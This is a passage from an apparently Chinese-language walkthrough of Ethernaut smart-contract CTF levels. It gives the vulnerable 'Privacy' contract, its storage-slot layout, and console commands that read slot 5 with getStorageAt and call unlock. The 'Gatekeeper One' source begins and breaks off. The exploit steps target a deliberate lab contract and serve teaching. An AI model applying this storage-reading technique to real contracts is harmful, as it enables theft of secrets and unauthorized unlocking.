题目预览
13.Privacy
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
题目简单明了,需要我们调用unlock,而调用unlock的条件需要我们输进去的key与data[2]相同,很明显,与Vault一样,需要我们从solidity的存储机制入手。
unused(31) locked(1) ⇐ slot(0)
ID(32) ⇐ slot(1)
unused(28) flattening(1) denomination(1) awkwardness(2) ⇐ slot(2)
data[0](3 2) ⇐ slot(3)
data[1](3 2) ⇐ slot(4)
data[2](3 2) ⇐ slot(5)
从上面分析我们可以看到,data[2]存储在slot[5]
攻击
在控制台输入 await web3.eth.getStorageAt(contract.address,5),即可得到data[2]的值
继续执行data[2].slice(0,34),其中data[2]需换成你们自己上条指令得到的data[2],slice(0,34)是为了去掉后面的十六个字节,因为我们传进去的值只需要十六个字节.
最后执行 await contract.unlock(“第二条指令的值”),即可提交实例,过关。
14.Gatekeeper One
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter